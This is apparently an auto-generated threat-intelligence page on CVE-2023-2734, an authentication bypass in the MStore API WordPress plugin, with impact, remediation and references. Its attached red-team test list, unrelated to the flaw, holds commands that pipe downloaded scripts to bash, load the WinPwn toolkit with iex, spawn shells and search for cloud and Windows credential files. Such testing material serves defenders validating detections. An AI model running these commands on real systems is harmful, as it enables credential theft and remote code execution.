CVE-2023-2734
Overview
This vulnerability is an authentication bypass caused by insufficient verification of user identity during cart synchronization in the MStore API WordPress plugin. The flaw resides in the mobile REST API request handling, specifically in the user ID validation logic. The affected component is the cart sync feature within the MStore API plugin up to version 3.9.1, which fails to properly authenticate users before processing requests.
Vulnerability Description
The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.1. This is due to insufficient verification on the user being supplied during the cart sync from mobile REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.
Impact
An attacker with network access can exploit this vulnerability without authentication or user interaction to gain unauthorized access to any user account on the affected WordPress site, including administrative accounts. This enables full account takeover, leading to potential data theft, site defacement, or further lateral attacks within the environment. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the exploit requires no privileges or user interaction, highlighting the critical severity of this flaw.
Solution
Upgrade the MStore API WordPress plugin to a version later than 3.9.1 where the authentication bypass is fixed. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/5881d16c-84e8-4610-8233-cfa5a94fe3f9) for detailed patch information and changelogs. The vendor's source repository shows code changes addressing this issue in commits after version 3.9.1, specifically correcting user verification in the flutter-woo.php controller. Applying these updates is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The MStore API plugin for WordPress exhibits a critical vulnerability characterized by an authentication bypass flaw. This issue arises from inadequate verification of user credentials during the cart synchronization process initiated through mobile REST API requests. Specifically, the vulnerability allows an attacker to exploit the plugin's functionality by manipulating the user ID parameter, enabling unauthorized access to the accounts of legitimate users, including those with administrative privileges. The lack of stringent checks on user authentication during this process is a significant oversight, as it opens the door for unauthenticated individuals to impersonate any existing user on the site, thereby compromising the integrity and security of the entire WordPress installation.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with knowledge of a valid user ID can craft a malicious request to the mobile REST API, bypassing the authentication mechanisms entirely. This could be executed through automated scripts or manual testing, making it accessible even to individuals with limited technical expertise. Once access is gained, the attacker can perform actions as the impersonated user, which may include altering site content, accessing sensitive information, or even deleting critical data. The simplicity of the attack, combined with the potential for high-impact consequences, underscores the severity of this vulnerability.
The real-world implications of this vulnerability are profound, particularly for businesses that rely on the MStore API plugin for e-commerce operations. Unauthorized access to user accounts can lead to data breaches, loss of customer trust, and significant financial repercussions. For instance, if an attacker gains administrative access, they could manipulate product listings, alter pricing, or access sensitive customer data, leading to potential legal ramifications under data protection regulations. Additionally, the reputational damage incurred from such breaches can have long-lasting effects on customer loyalty and brand integrity, making it a pressing concern for organizations utilizing this plugin.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to ensure that the MStore API plugin is updated to the latest version, as subsequent releases may contain patches addressing this security flaw. Regular audits of user access logs can also help identify any suspicious activities or unauthorized access attempts. Furthermore, employing web application firewalls (WAF) can provide an additional layer of security by filtering out malicious requests before they reach the application. Organizations should also consider implementing rate limiting on API requests to reduce the likelihood of automated exploitation attempts.
In conclusion, the authentication bypass vulnerability present in the MStore API plugin poses a significant threat to the security of WordPress sites leveraging this tool. The potential for unauthorized access to user accounts, particularly those with administrative privileges, can lead to severe business risks, including data breaches and reputational damage. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against such vulnerabilities and maintain the trust of their users. The importance of maintaining robust security practices cannot be overstated, especially in an increasingly digital landscape where cyber threats are ever-evolving.
CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-2734, rising by nearly 20% to a current level placing it in the 0.99th percentile. This upward adjustment indicates a growing likelihood of exploitation attempts in the near term, despite a slight recent decline in the seven-day trend. The elevated EPSS score reflects increased attacker interest or improved feasibility of leveraging the authentication bypass vulnerability in the MStore API plugin. Although no new exploit techniques or active campaigns have been detected by our telemetry, the heightened EPSS underscores an increased risk posture for organizations using affected versions. Defenders should recognize that this vulnerability remains a critical threat vector, with the potential for unauthorized administrative access still highly probable. The change in EPSS signals that exploitation may become more widespread or automated, warranting continued vigilance in monitoring and response efforts.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Inspireui | Mstore Api | All |
cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-2734 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5881d16c-84e8-4610-8233-cfa5a94fe3f9?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/mstore-api/tags/3.9.0/controllers/flutter-woo.php#L911 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2915729%40mstore-api&old=2913397%40mstore-api&sfp_email=&sfph_mail=#file59 |